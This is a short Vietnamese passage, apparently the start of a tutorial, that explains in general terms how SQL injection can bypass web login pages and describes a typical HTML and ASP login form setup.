Các tin tặc có thể vượt qua các trang đăng nhập nhờ lợi dụng lỗi trong các câu lệnh SQL khi thao tác trên cơ sở dữ liệu của ứng dụng web Đây là phương thức tấn công SQL Injection, gây nguy hiểm cho hệ thống bảo mật của website Việc khai thác lỗ hổng này cho phép hacker truy cập trái phép vào dữ liệu quan trọng và thực hiện các hành vi phá hoại Do đó, việc xử lý và phòng tránh SQL Injection là cần thiết để bảo vệ an toàn thông tin trên các nền tảng trực tuyến.
Trong các hệ thống truy cập bảo mật, trang đăng nhập cho phép người dùng nhập tên đăng nhập và mật khẩu để truy cập các trang web an toàn Hệ thống sẽ xác minh tính hợp lệ của thông tin đăng nhập để quyết định có cho phép truy cập hay không Thông thường, việc này được thực hiện qua hai trang: một trang HTML để hiển thị mẫu đăng nhập, và một trang ASP để xử lý dữ liệu nhập từ người dùng, ví dụ như trang login.htm.
Username:
Password: